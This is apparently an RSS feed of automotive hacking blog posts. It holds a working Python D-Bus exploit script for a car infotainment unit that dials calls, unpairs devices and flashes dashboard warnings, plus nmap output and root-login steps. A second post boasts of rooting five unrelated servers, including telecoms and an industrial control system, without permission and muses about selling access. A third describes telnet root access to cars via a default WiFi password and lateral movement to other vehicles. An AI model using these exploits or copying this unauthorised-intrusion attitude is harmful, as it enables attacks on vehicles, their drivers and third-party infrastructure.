<td>Requires some wireshark stuff</td>
</tr>
<tr>
<td><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-40293">CVE-2023-40293</a></td>
<td>Harman Infotainment 20190525031613 and later allows command injection via unauthenticated RPC with a D-Bus connection object.</td>
<td>Needs idea on DBUS and python</td>
</tr>
<tr>
<td>CVE-2019-25153</td>
<td>Unassigned yet</td>
<td></td>
</tr>
</tbody></table>
]]></content:encoded></item><item><title><![CDATA[Dude, It’s my Car: How to develop intimacy with your car !]]></title><description><![CDATA[Disclaimer: Nobody should use this information for any kind of malicious activities or disrupt any vehicle other than their own. If you brick the IVI with this approach, you can claim warranty and visit the service center. However, if they find that ...]]></description><link>https://gh0stshell.cc/dude-its-my-car-how-to-develop-intimacy-with-your-car</link><guid isPermaLink="true">https://gh0stshell.cc/dude-its-my-car-how-to-develop-intimacy-with-your-car</guid><category><![CDATA[automotive security]]></category><dc:creator><![CDATA[Abhijit Lamsoge]]></dc:creator><pubDate>Wed, 26 Jul 2023 13:56:34 GMT</pubDate><enclosure url="https://autohackin.wordpress.com/wp-content/uploads/2023/07/screenshot-2023-07-26-at-7.25.39-pm.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Disclaimer: Nobody should use this information for any kind of malicious activities or disrupt any vehicle other than their own. If you brick the IVI with this approach, you can claim warranty and visit the service center. However, if they find that it was tampered with, you probably won’t get any replacement. As there is no active tamper detection in this IVI, you might be able to get past that.</p>
<p>When I first bought my four-wheeler, I had no idea how to drive. I joined a driving class that same day to avoid any embarrassment. Surprisingly, I learned how to drive pretty quickly, in just a week. From that point on, I would take it for a spin every day on my commute to the office. While I was getting familiar with my car, the infotainment system caught my eye, and it looked pretty familiar. The next logical step was to embark on a hacking adventure.</p>
<h3 id="heading-basic-intel">Basic Intel:</h3>
<p>Target Description: 4 Wheeler ICE Vehicle with Advanced(Not So Much) Infotainment</p>
<p><img src="https://autohackin.wordpress.com/wp-content/uploads/2023/07/targetivi.png?w=1024" alt /></p>
<p>Initial Reconnaissance:</p>
<ul>
<li><p>Key-Fob Based Entry – Replay &amp; Relay Attacks</p>
</li>
<li><p>OBD-II Port – Diagnostics(UDS) &amp; CAN Write</p>
</li>
<li><p>Infotainment</p>
</li>
<li><p>Mobile App or OEM App</p>
</li>
</ul>
<p>This vehicle does not have any internet connectivity so does not support a Telematics or Mobile Application to track any modern functionalities.</p>
<h3 id="heading-our-objectives">Our Objectives:</h3>
<ul>
<li><p>Unlock the vehicle using RF/Key-Fob/PEPS Attacks</p>
</li>
<li><p>Re-Program ECU’s over UDS</p>
</li>
<li><p>Modify or Hack into the Infotainment</p>
</li>
</ul>
<p>Due to lack of hardware Objectives 1 &amp; 2 will be taken up at a later time.</p>
<h3 id="heading-ivi-target-description">IVI: Target Description</h3>
<p>Features:</p>
<ul>
<li><p>Software Update Via USB</p>
</li>
<li><p>Bluetooth for Telephony (Calling &amp; Media Streaming)</p>
</li>
</ul>
<p><strong>NOTE: All the below research was done as a blind (Complete Black Box) – I did not have any access to any debugging functionality on the vehicle or the IVI.</strong></p>
<h3 id="heading-first-blood-trying-some-luck">First Blood: Trying some luck</h3>
<p>I just wanted to check if the USB port can double as a Network Interface(Xn) – I had a bunch of USB-To-Ethernet Dongle one was from D-Link (Asix 8887 SMSC chip) and another from Logitech.</p>
<p><img src="https://autohackin.wordpress.com/wp-content/uploads/2023/07/dlink.png?w=768" alt /></p>
<p>The success of the USB port doubling as a Xn depends on the RFS’ ability to recognize the interface and load the necessary driver. This is standard Linux functionality, which will autoload the driver if it detects a compatible chip. Thanks to Udev and the DTB/DTS, you don’t have to load the driver manually.</p>
<p>How to validate if your dongle is compatible with the on-board RFS –</p>
<p>a) Check if the Adapter LED’s turn-on – Green/Orange both – indicating bi-directional Broadcast Network traffic</p>
<p>b) Linux systems throw random(not-so-random) traffic on the Network link if it comes up which happens only if the interface is loaded that is dependent on loading the driver if it detects a correct compatible Xn.</p>
<p>c) If you are old enough and have played LAN games like CS – you should know this !</p>
<p>The next part requires us to identify and validate whether the Network communication is stable and working.</p>
<p>Generally, if you have a DHCP server on the target device, then client connected to it can request an IP to be in the same LAN via Client request packet(pretty standard stuff).</p>
<p>But I found, there is not DHCP server running as the DHCP client requests from our device were not resolving. That brings us to assigning IP addresses manually.</p>
<p>For private networks the IP ranges used are typically 172.16.0.0/16 or 192.168.0.0/16 – It could also be configured to any other subnets as well.</p>
<p>To find the exact IP of the target device – we need to resort to wireshark and try our luck. Fortunately, there is a information leakage vulnerability in the target Linux device which allows us to read the specific packet that leaks the interface IP.</p>
<p>This packet can be seen as below:</p>
<p><img src="https://autohackin.wordpress.com/wp-content/uploads/2023/07/wireshark-carplayctrl.png?w=1024" alt /></p>
<p>The Carplay functionality keeps checking if a host is available using a broadcast request that leaks the source IP. In this case it is 192.168.10.1</p>
<p>Now by setting our IP address to something in this same subnet will allow a point-to-point TCP/IP LAN communication.</p>
<p><img src="https://autohackin.wordpress.com/wp-content/uploads/2023/07/iptoip.png?w=1024" alt /></p>
<p>Once that is set – we can do a bunch of scans to see which port is open – this gives us a below list of open ports.</p>
<pre><code class="lang-plaintext">Starting Nmap 7.80 ( https://nmap.org ) at 2023-07-17 17:47 IST
Nmap scan report for 192.168.10.1
Host is up (0.0036s latency).
Not shown: 997 closed ports
PORT     STATE SERVICE   VERSION
22/tcp   open  ssh       Dropbear sshd 2015.68 (protocol 2.0)
2021/tcp open  servexec?
| fingerprint-strings:
|   GenericLines, NULL:
|     CALL BluetoothService:101 BSS_GAP_ServiceConnect address='70:22:FE:65:72:E3' instance='BlueMediaOne' device='MediaCtrl' service='A2DP_SOURCE';
|     EVNT MediaCtrl NAME=BSS_GAP_SERVICE_CONNECT instance='BlueMediaOne' address='70:22:FE:65:72:E3' service='A2DP_SOURCE' handle=1;
|     CALL MediaCtrl:556 BlueMediaOne_ServiceConnect address='70:22:FE:65:72:E3' service='A2DP_SOURCE' handle=1;
|     CALL BlueMediaOne:55 BSS_A2DP_Accept remoteAddr='70:22:FE:65:72:E3' localStreamRole=SINK;
|     RESP BlueMediaOne:55 BSS_A2DP_Accept handle=0 codecType=0 codecFeatures='' contentProtection=0 delayReporting=UNSUPPORTED output=CODED result=BSS_A2DP_ERROR reason='BSS_A2DP_REASON_NO_INCOMING_CONNECTION';
|_    CALL BlueMediaOne:56 BSS_A2DP_Connect rem
7000/tcp open  rtsp
| fingerprint-strings:
|   FourOhFourRequest, GetRequest:
|     HTTP/1.1 404 Not Found
|     Content-Length: 0
|     Server: AirTunes/320.17.1
|   HTTPOptions:
|     HTTP/1.1 200 OK
|     Public: ANNOUNCE, SETUP, RECORD, PAUSE, FLUSH, TEARDOWN, OPTIONS, POST, GET, PUT
|     Server: AirTunes/320.17.1
|   RTSPRequest:
|     RTSP/1.0 200 OK
|     Public: ANNOUNCE, SETUP, RECORD, PAUSE, FLUSH, TEARDOWN, OPTIONS, POST, GET, PUT
|     Server: AirTunes/320.17.1
|   SIPOptions:
|     RTSP/1.0 200 OK
|     Public: ANNOUNCE, SETUP, RECORD, PAUSE, FLUSH, TEARDOWN, OPTIONS, POST, GET, PUT
|     Server: AirTunes/320.17.1
|_    CSeq: 42 OPTIONS
|_irc-info: Unable to open connection
|_rtsp-methods: ERROR: Script execution failed (use -d to debug)
2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port2021-TCP:V=7.80%I=7%D=7/17%Time=64B53153%P=x86_64-pc-linux-gnu%r(NU
SF:LL,415,"CALL\x20BluetoothService
SF::101\x20BSS_GAP_ServiceConnect\x20address='70:22:FE:65:72:E3'\x20instan
SF:ce='BlueMediaOne'\x20device='MediaCtrl'\x20service='A2DP_SOURCE';\r\nEVNT\x20MediaCtrl\x20NAME=BSS_GAP_
SF:SERVICE_CONNECT\x20instance='BlueMediaOne'\x20address='70:22:FE:65:72:E
SF:3'\x20service='A2DP_SOURCE'\x20handle=1;\r\nCALL\x20MediaCtrl:556\x20BlueMediaOne_ServiceConnect\x20add
SF:ress='70:22:FE:65:72:E3'\x20service='A2DP_SOURCE'\x20handle=1;\r\nCALL\x20BlueMediaOne:55\x20BSS_A2DP_A
SF:ccept\x20remoteAddr='70:22:FE:65:72:E3'\x20localStreamRole=SINK;\r\nRESP\x20BlueMediaOne:55\x20BSS_A2DP
SF:_Accept\x20handle=0\x20codecType=0\x20codecFeatures=''\x20contentProtec
SF:tion=0\x20delayReporting=UNSUPPORTED\x20output=CODED\x20result=BSS_A2DP
SF:_ERROR\x20reason='BSS_A2DP_REASON_NO_INCOMING_CONNECTION';\r\nCALL\x20BlueMediaOne:56\x20BSS_A2DP_Conne
SF:ct\x20rem")%r(GenericLines,1678,"CALL\x20BluetoothService:101\x20BSS_GAP_ServiceConnect\x20address='70:
SF:22:FE:65:72:E3'\x20instance='BlueMediaOne'\x20device='MediaCtrl'\x20ser
SF:vice='A2DP_SOURCE';\r\nEVNT\x20M
SF:ediaCtrl\x20NAME=BSS_GAP_SERVICE_CONNECT\x20instance='BlueMediaOne'\x20
SF:address='70:22:FE:65:72:E3'\x20service='A2DP_SOURCE'\x20handle=1;\r\nCALL\x20MediaCtrl:556\x20BlueMedia
SF:One_ServiceConnect\x20address='70:22:FE:65:72:E3'\x20service='A2DP_SOUR
SF:CE'\x20handle=1;\r\nCALL\x20Blue
SF:MediaOne:55\x20BSS_A2DP_Accept\x20remoteAddr='70:22:FE:65:72:E3'\x20loc
SF:alStreamRole=SINK;\r\nRESP\x20Bl
SF:ueMediaOne:55\x20BSS_A2DP_Accept\x20handle=0\x20codecType=0\x20codecFea
SF:tures=''\x20contentProtection=0\x20delayReporting=UNSUPPORTED\x20output
SF:=CODED\x20result=BSS_A2DP_ERROR\x20reason='BSS_A2DP_REASON_NO_INCOMING_
SF:CONNECTION';\r\nCALL\x20BlueMedi
SF:aOne:56\x20BSS_A2DP_Connect\x20rem");
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port7000-TCP:V=7.80%I=7%D=7/17%Time=64B53167%P=x86_64-pc-linux-gnu%r(Ge
SF:tRequest,48,"HTTP/1\.1\x20404\x20Not\x20Found\r\nContent-Length:\x200\r
SF:\nServer:\x20AirTunes/320\.17\.1\r\n\r\n")%r(HTTPOptions,80,"HTTP/1\.1\
SF:x20200\x20OK\r\nPublic:\x20ANNOUNCE,\x20SETUP,\x20RECORD,\x20PAUSE,\x20
SF:FLUSH,\x20TEARDOWN,\x20OPTIONS,\x20POST,\x20GET,\x20PUT\r\nServer:\x20A
SF:irTunes/320\.17\.1\r\n\r\n")%r(RTSPRequest,80,"RTSP/1\.0\x20200\x20OK\r
SF:\nPublic:\x20ANNOUNCE,\x20SETUP,\x20RECORD,\x20PAUSE,\x20FLUSH,\x20TEAR
SF:DOWN,\x20OPTIONS,\x20POST,\x20GET,\x20PUT\r\nServer:\x20AirTunes/320\.1
SF:7\.1\r\n\r\n")%r(FourOhFourRequest,48,"HTTP/1\.1\x20404\x20Not\x20Found
SF:\r\nContent-Length:\x200\r\nServer:\x20AirTunes/320\.17\.1\r\n\r\n")%r(
SF:SIPOptions,92,"RTSP/1\.0\x20200\x20OK\r\nPublic:\x20ANNOUNCE,\x20SETUP,
SF:\x20RECORD,\x20PAUSE,\x20FLUSH,\x20TEARDOWN,\x20OPTIONS,\x20POST,\x20GE
SF:T,\x20PUT\r\nServer:\x20AirTunes/320\.17\.1\r\nCSeq:\x2042\x20OPTIONS\r
SF:\n\r\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

55556/tcp open  unknown

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 71.51 seconds
</code></pre>
<p>Astounding observations:</p>
<ul>
<li><p>ssh is enabled with dropbear version – Dropbear sshd 2015.68 (protocol 2.0) – for which there are a bunch of vulnerabilities with exploit PoC’s available</p>
</li>
<li><p>2021 is some kind of Diagnostics or Service port which allow some custom framework commands to be sent – will revisit this later.</p>
</li>
<li><p>7000 exposes RTSP methods – but might require carplay protocol level authentication – will revisit this later.</p>
</li>
<li><p>55556 is DBUS over Network – I was stunned when I saw this as DBUS by default does is not configured with its network level service on instead it just support SYSTEM and USER bus over unix domain sockets on local interfaces but here it was reconfigured for TCP/IP level access.</p>
</li>
</ul>
<h3 id="heading-getting-access-over-ssh">Getting access over SSH:</h3>
<p>The simplest solution is often the best solution – I just wanted to check if the dropbear had any users that can be enumerated – unfortunately this didn’t run any standard for ex: www-data which indicates that the /etc/users file might not have much entries. With experience you get a gut feeling that it might just run everything with “root” and will not care about any multi-user or user based policies implemented. So you go ahead and try to login to ssh via root user.</p>
<p>It prompted us with for password which of-course was not in any standard wordlists.</p>
<p>Had to use a lot of OSInt for this activity – Generally what happens is when Tier I suppliers design there systems, they give internal project names to there platforms for a given vehicle. Our strategy here was to see if such internal project name was visible over the internet.</p>
<p>Note: Cannot divulge more details on how the project name was identified.</p>
<p>Mistake no. 1: This vendor used internal project name as root password and it worked !!</p>
<p>Mistake no. 2: Did not enable rate limiting over ssh</p>
<p>Mistake no. 3: Did not disable root login with password</p>
<p>Fluke 1: Internal project name used as root password</p>
<p>Once in with root access as below:</p>
<p><img src="https://autohackin.wordpress.com/wp-content/uploads/2023/07/rootaccess.png?w=1024" alt /></p>
<p>We can do a bunch of things as follows:</p>
<ul>
<li>DoS on the Infotainment via root access over USB – Sending tons of TCP packets –</li>
</ul>
<p>As seen below –</p>
<div class="embed-wrapper"><div class="embed-loading"><div class="loadingRow"></div><div class="loadingRow"></div></div><a class="embed-card" href="https://youtu.be/7Q11U3NOrso">https://youtu.be/7Q11U3NOrso</a></div>
<p> </p>
<ul>
<li>Reboot of the IVI – Simple Reboot – Just to annoy</li>
</ul>
<div class="embed-wrapper"><div class="embed-loading"><div class="loadingRow"></div><div class="loadingRow"></div></div><a class="embed-card" href="https://youtu.be/CvmaEHCEFRo">https://youtu.be/CvmaEHCEFRo</a></div>
<p> </p>
<p>As the device has no internet connectivity or WiFi this same exploit can’t be tried with same success. Or can it ?</p>
<h2 id="heading-a-game-of-versions">A Game of Versions:</h2>
<p>The above SSH Based exploits were possible for a certain version ex: 20190525031613 – After the newer version of the IVI via Software Update using USB – we no longer could login via root as the vendor must have installed a strong password which isn’t really findable – and I dint’ wanted to challenge the cryptography here.</p>
<p>However, there is an alternative way to cracking the newer version.</p>
<h2 id="heading-getting-cozy-with-dbus">Getting Cozy with DBus –</h2>
<p>Note: This works for the newer and older versions as well as the overall security not thought at for this device.</p>
<p>But Before that – Lets look at another interesting stuff over the same USB-to-Ethernet connection but not via root access but via DBUS.I just wanted to do a d-feet to run introspection on DBUS wheel – and connect as below:</p>
<p>DBUS connect command over Network is – This is pretty icky</p>
<pre><code class="lang-plaintext">tcp:host=192.168.10.1,port=55556
</code></pre>
<p><img src="https://autohackin.wordpress.com/wp-content/uploads/2023/07/dbus-dfeet-network-connect.png?w=1024" alt /></p>
<p>Just to give a brief – A very familiar hack to all of us from 2015 on the Jeep Cherokee had the same DBUS interface available Listening on all interfaces on the network. Pretty sad it still exists in this device after 8+ Years \m/</p>
<p>Once you get the DBUS connection object – you can explore a bunch of RPC procedures that might allow you to do Command Injection or utilise all the functionality of the IVI as it is available in the system.</p>
<p>Below is a snippet from the DBUS connection:</p>
<p><img src="https://autohackin.wordpress.com/wp-content/uploads/2023/07/dbus-service-listing-for-rpc.png?w=1024" alt /></p>
<p>After a lot of reverse engineering on the DBUS RPC methods – We were able to decode and execute almost any functionality that the IVI support and can trigger this via our USB-To-Ethernet Connection.</p>
<p>Reverse Engineering Findings for Supported RPC over DBUS to name a few:</p>
<ul>
<li><p>connection_manager_interface – Allows to talk to the networking aspects of the IVI</p>
</li>
<li><p>call_manager_interface – Talks to the telephony stack</p>
</li>
<li><p>display_controller_interface – Talks to the HMI controller layer</p>
</li>
<li><p>vehicle_features_interface – Simple Vehicle level interfacing for DBUS clients</p>
</li>
</ul>
<p>To talk to these endpoint you can find the python library that can talk to the RPC methods – <a target="_blank" href="https://dbus.freedesktop.org/doc/dbus-python/">https://dbus.freedesktop.org/doc/dbus-python/</a></p>
<p>Using this library we wrote a simple script to trigger various functionalities – The trivial code is available below:</p>
<pre><code class="lang-plaintext">import dbus
import os
from pprint import pprint
import time
import random

# Setting up the subnet so that both the infotainment and the system are on the same subnet
os.system("sudo ifconfig eno1 192.168.10.20 netmask 255.255.255.0")
bus=dbus.bus.BusConnection("tcp:host=192.168.10.1,port=55556")

# Initalizing the program objects
connection_manager_obj = bus.get_object("com.oem.btpres.CallManager_btpres.callManager","/btpres/connectionManager")
call_manager_obj = bus.get_object("com.oem.btpres.CallManager_btpres.callManager","/btpres/callManager")
display_controller_obj = bus.get_object("com.oem.DisplayController.DisplayControl_DisplayController.dcInst","/DisplayController/dcInst")
vehicle_features_obj = bus.get_object("com.oem.VehicleFeatures.VehicleFeatures_VehicleFeatures.inst0","/VehicleFeatures/inst0")

# Initalizing interfaces
connection_manager_interface = dbus.Interface(connection_manager_obj,"com.oem.btpres.ConnectionManager")
call_manager_interface = dbus.Interface(call_manager_obj, "com.oem.btpres.CallManager")
display_controller_interface = dbus.Interface(display_controller_obj, "com.oem.DisplayController.DisplayControl")
vehicle_features_interface = dbus.Interface(vehicle_features_obj,"com.oem.VehicleFeatures.VehicleFeatures")

# Intializing method calls from interfaces created
# Syntax = m_methodcall()
m_deleteAllDevices = connection_manager_interface.get_dbus_method("deleteAllDevices")
m_getDevListAttribute = connection_manager_interface.get_dbus_method("getDevListAttribute")
m_renameBondedDevice = call_manager_interface.get_dbus_method("renameBondedDevice")
m_getInterfaceVersion = call_manager_interface.get_dbus_method("getInterfaceVersion")
m_dial = call_manager_interface.get_dbus_method("dial")
m_endAllCalls = call_manager_interface.get_dbus_method("endAllCalls")
m_BacklightControl = display_controller_interface.get_dbus_method("BacklightControl")
m_setDoorAjarWarningNoticeAttribute = vehicle_features_interface.get_dbus_method("setDoorAjarWarningNoticeAttribute")
m_setDriverBeltWarningNoticeAttribute = vehicle_features_interface.get_dbus_method("setDriverBeltWarningNoticeAttribute")
m_setLowBatteryWarningNoticeAttribute = vehicle_features_interface.get_dbus_method("setLowBatteryWarningNoticeAttribute")
m_setLowFuelWarningNoticeAttribute = vehicle_features_interface.get_dbus_method("setLowFuelWarningNoticeAttribute")
m_setParkingBrakeWarningNoticeAttribute = vehicle_features_interface.get_dbus_method("setParkingBrakeWarningNoticeAttribute")

list_of_toggle_functions = [m_setDoorAjarWarningNoticeAttribute,m_setParkingBrakeWarningNoticeAttribute,m_setLowFuelWarningNoticeAttribute,m_setLowBatteryWarningNoticeAttribute,m_setDriverBeltWarningNoticeAttribute]

device_name_to_bdaddr_mapping = {}
connected_device_details = m_getDevListAttribute()
for connected_device in connected_device_details:
    device_name_to_bdaddr_mapping[str(connected_device[0])] = str(connected_device[1])

device_name = next(iter(device_name_to_bdaddr_mapping))
device_bdaddr = device_name_to_bdaddr_mapping[device_name]
print("List of Paired Devices are:")
pprint(device_name_to_bdaddr_mapping) 
print()

# Menu driven code with available hacks         
while True:
    choice = input("1.Dial a random number\n2.End Calls\n3.Remove All Paired Devices\n4.Rename paired device\n5.Make it a Blinky\n6.Exit\n")
    if choice == "1":
        print("Please enter the number you wish to dial:")
        number = input()
        res = m_dial(device_bdaddr,number,"","",0)
        if "7" in str(res):
            print("This device is not connected to the bluetooth")
    elif choice == "2":
        res = m_endAllCalls(device_bdaddr)
        print(res)

    elif choice == "3":
        m_deleteAllDevices()
        print("All devices are now unpaired.")

    elif choice == "4":
        new_name = input("Enter the new name: ")
        m_renameBondedDevice(device_bdaddr,new_name)

    elif choice == "5":
        # Toggles the warnings and backlight setting to make it look like its blinking.
        for i in range(30):
            res = m_BacklightControl(0)
            time.sleep(1)
            res = m_BacklightControl(1)
            time.sleep(1)
            x = list_of_toggle_functions[i%len(list_of_toggle_functions)]
            x(1)
            time.sleep(1.5)
            x(0)
            time.sleep(1)

    elif choice == "6":
        print("Exiting ...")
        break
    else:
        print("Invalid option")
</code></pre>
<p>The fun of this exploit can be seen below:</p>
<div class="embed-wrapper"><div class="embed-loading"><div class="loadingRow"></div><div class="loadingRow"></div></div><a class="embed-card" href="https://youtu.be/p25nBru3hDk">https://youtu.be/p25nBru3hDk</a></div>
<p> </p>
<p>If this happens while someone is driving then it might cause driving distraction that could lead to more safety issues.</p>
<p>Now to explore this new version we did some Open Source Reconn.</p>
<h2 id="heading-enter-the-world-of-backdooring">Enter the world of “Backdooring”</h2>
<p>Ideally for back-dooring there are various ways:</p>
<ul>
<li><p>Get your hands on existing firmware</p>
</li>
<li><p>Finding re-flashing process</p>
</li>
<li><p>Bypass any firmware validation</p>
</li>
<li><p>Run your own code from the new firmware by modifying RFS content</p>
</li>
</ul>
<p>Sounds simple right ? Not so much</p>
<p>Getting dirty with Firmware: (The below information is possible because of contextual and business knowledge that I have gained over the years)</p>
<p>Infotainment Flashing packages or TCFG or Images are not freely distributable by the vendors unlike router or IOT device firmware due to competitor problem or other issues related to IP.</p>
<p>However, there is a thing called aftermarket-market where people provide services like vehicle re-tuning to mods to your vehicle. One of the aspects of this market is to upgrade stuff in vehicle including infotainment. Now for a customer who has lost warranty to his Car might want to upgrade the IVI for not so much money via official dealership instead he goes to the aftermarket party where they will happily upgrade it for less than 10$.</p>
<p>Question : How did the aftermarket guys get there hands on the flashing package ?</p>
<p>Well the short answer is from the official service centre for these vehicles – how ? – someone from aftermarket knows a guy who knows a guy at the service centre – a deal is struck to exchange any new firmware that might come for any of the vehicles and such is the tradecraft here.</p>
<p>This IVI is a pretty lame device and its RFS/SQFS image is rampantly available on the internet via aftermarket youtube videos – Once such Link is here – <a target="_blank" href="https://mega.nz/folder/GnA3UIQa">https://mega.nz/folder/GnA3UIQa</a> – This is the newer version which doesn’t allow our ssh stuff to work. But will get to how to crack that soon.</p>
<p>The unsquashed package as below:</p>
<p><img src="https://autohackin.wordpress.com/wp-content/uploads/2023/07/squasfs-out.png?w=936" alt /></p>
<p>Previous version RFS that we copied over SSH access –</p>
<p><img src="https://autohackin.wordpress.com/wp-content/uploads/2023/07/rfs-scht.png?w=1024" alt /></p>
<p>Also the unpacked ubifs RFS extracted image for the new sqfs with hardened root password as below:</p>
<p><img src="https://autohackin.wordpress.com/wp-content/uploads/2023/07/ubifs-rootfs-extracet.png?w=1024" alt /></p>
<p>Of-course the new version is here –</p>
<p>Now if you know how a bit about backdooring – then its pretty straight forward to modify the contents of the RFS and inject your own code and its pretty much game over.</p>
<p>To be continued…..</p>
]]></content:encoded></item><item><title><![CDATA[gh0sts of the old Exploits: Rooting ‘5’ Quick Servers when Bored !]]></title><description><![CDATA[I was quite bored today afternoon after a heavy mutton lunch – while sleep was around the corner of my eyes, something else caught my attention, I just saw one port that I have had a history with. Whe]]></description><link>https://gh0stshell.cc/gh0sts-of-the-old-exploits-rooting-5-quick-servers-when-bored</link><guid isPermaLink="true">https://gh0stshell.cc/gh0sts-of-the-old-exploits-rooting-5-quick-servers-when-bored</guid><category><![CDATA[others]]></category><dc:creator><![CDATA[Abhijit Lamsoge]]></dc:creator><pubDate>Wed, 28 Jun 2023 13:06:29 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/690de576a51af7311ea8bc73/ffbd7b0f-0fa4-42c8-a337-fadf8c567743.jpg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>I was quite bored today afternoon after a heavy mutton lunch – while sleep was around the corner of my eyes, something else caught my attention, I just saw one port that I have had a history with. When I was out doing security stuff not far back in the day on OS’s – when I used to work on QNX systems for infotainments. P.S Read the below article from someone for context.</p>
<p><a href="https://www.blackmoreops.com/2016/06/02/hacking-qnx-systems-over-qconn/">Hacking QNX systems over QCONN</a></p>
<h3><strong>The Boring FUN part:</strong></h3>
<p>I wondered whether my old exploit works for any newer sites or if I can index some new sites for this cheap vulnerability. Boy, the new popular mass indexer gave quick hits on this port and I just wanted to be a skiddie for few mins and try my exploit sequence. The indexer gave me at-least 100+ hits – Starting with the first one which was a popular telecom operator from Spain.</p>
<p>I entered the IP on netcat, put the port in and hit fire – Fucking lousy Shit returned the success string of the my exploit – Obviously, here you go ahead and run your command sequence to trigger the vulnerability while that garlic from mutton is hitting you !</p>
<h3><strong>How Many ?</strong></h3>
<p>I tried 5 – All of them went through – Telecom Operators from Spain &amp; Russia, Giant from China, Some Top universities from the US(who by the way take exorbitant fees for their Master’s program – so I’m told) and some Industrial Control System from Spiderman’s hometown.</p>
<h3>Images speak louder than words – Fuck this Shit \n/</h3>
<p>Spain:</p>
<p><img src="https://autohackin.wordpress.com/wp-content/uploads/2023/07/site1.png?w=1024" alt="" /></p>
<p>Russia</p>
<p><img src="https://autohackin.wordpress.com/wp-content/uploads/2023/07/site2.png?w=1024" alt="" /></p>
<p>China</p>
<p><img src="https://autohackin.wordpress.com/wp-content/uploads/2023/07/site3.png?w=1024" alt="" /></p>
<p>US</p>
<p><img src="https://autohackin.wordpress.com/wp-content/uploads/2023/07/site4.png?w=1024" alt="" /></p>
<p>Do you still need a 5th ? Don’t be a skiddie – look on your own.</p>
<h3><em><strong>Access Level: gh0stshell (like literally)</strong></em></h3>
<p>Most of these servers have telnet, ssh, FTP and what not which has a lot of juicy data – Which by the way you should not touch. The access level we have allows us to transfer file and inject/upload anything and run it without restrictions – Go Figure How !</p>
<p>Being a not so bad Black Hat – I don’t want you to use this for scamming or stealing any data. Besides all information is still publicly available ! Writing this small article took me more time than pwning these 5+ servers.</p>
<p>Server Pwned with Root Access – 5</p>
<p>Time Take to pwn all of them – 5 mins – It will take me even less with this exploit if I wrote some shitty netcat automation – which I leave it for the pro’s out there.</p>
<p>Time taken to write and compile this show-off article – 25mins – WTF ! – I could have pwned more servers in that time.</p>
<p>Black Hat Scenario – I can probably sell access to these sites on DarkNet for some quick dirty money – but my those days are long gone.</p>
<p>Note: I did not pivot anywhere else from these servers</p>
<p>Leaving it here now – Hack Dis ?-responsibly !</p>
]]></content:encoded></item><item><title><![CDATA[Pwning my Friends New Car: Digital Cockpit sKiddie Rooting]]></title><description><![CDATA[I would like to thank my friend for letting me run a few experiments on his newly bought SUV which by the way is very awesome to drive and one of the best cars here.
With the limited time I had with t]]></description><link>https://gh0stshell.cc/pwning-my-friends-new-car</link><guid isPermaLink="true">https://gh0stshell.cc/pwning-my-friends-new-car</guid><category><![CDATA[automotivehacking]]></category><category><![CDATA[automotive security]]></category><category><![CDATA[cybersecurity]]></category><dc:creator><![CDATA[Abhijit Lamsoge]]></dc:creator><pubDate>Fri, 07 Apr 2023 08:50:57 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/690de576a51af7311ea8bc73/44adf507-b344-4e06-a218-cbcea55e7ad4.jpg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>I would like to thank my friend for letting me run a few experiments on his newly bought SUV which by the way is very awesome to drive and one of the best cars here.</p>
<p>With the limited time I had with this vehicle I just wanted to check a bunch of things and try to pwn the Infotainment quick and dirty</p>
<p>The infotainment in this is hypervisor based and supports dual OS – Android for Media and Linux or QNX for Safety functions. Our obvious target was to start with the Media OS – The OS which gives the HMI and user functions.</p>
<p>I did my reconnaissance for this vehicle prior to getting access to this vehicle –</p>
<p>It has wifi – so that was an obvious target for me.</p>
<p>This vehicle runs an access point(SSID: OEMXXXXrandomnum) with a default password for all vehicle released to be as ‘0000000000’ – when the vehicle is released in the field. Which makes it straight forward for anyone to connect to the wifi AP using these default credentials. Most users don’t bother to change the WiFi password as the randomly generated password is hard to remember and difficult to share with friends.</p>
<p>As seen below:</p>
<p>The WiFi password can also be randomly generated but most users prefer to connect using default password. A simple script with war-driving equipment can be developed to autopwn this vehicle who have default credentials – of-course you will have to stalk them \m/</p>
<p>Identifying the Hotspot AP IP:</p>
<p>As I was using my macbook – the below simple command shows me the route for wifi interface which points us to the IP of the AP.</p>
<pre><code>#route -n get default |grep gateway
192.168.20.229 (AP IP)
</code></pre>
<p>Apparently the AP IP keeps changing if you re-connect over wifi – weird but ok !</p>
<p>Once we are on the hotspot and simple nmap shows a bunch of available ports: Cheap enough telnet is open</p>
<p>Lets try</p>
<pre><code>nc 192.168.20.229 23 or telnet to 192.168.20.229
</code></pre>
<p>This drops us directly into the shell of the device: Not even anonymous prompt for creds.</p>
<p><img src="https://autohackin.wordpress.com/wp-content/uploads/2023/07/rootshell.png?w=1024" alt="" /></p>
<p><img src="https://autohackin.wordpress.com/wp-content/uploads/2023/07/rootcarview-1673042310-e1690435091792.png?w=1024" alt="" /></p>
<p><img src="https://autohackin.wordpress.com/wp-content/uploads/2023/08/wificonnected.png?w=768" alt="" /></p>
<p>Once we are rooted we can do almost anything like uploading your own script/code etc.</p>
<p>Apparently, this vehicle also has internet connectivity by some telematics device integrated into the digital cockpit – If this is the case then all the other vehicles that are part of the subnet must be accessible unless the ISP has provided M2M isolation on a subnet – which apparently was not the case.</p>
<h2>Rooting Other vehicles:</h2>
<p>This vehicle builds a tun tunnel so is part of some OEM intranet via a VPN – using this thought we can just do netcat or telnet into all those other ip addresses in the same subnet – This worked and I won’t be sharing any details on this – but unfortunately I could not capture any screenshots due to lack of time as my friend wanted to go out.</p>
<h2>Update: 5th August,2023</h2>
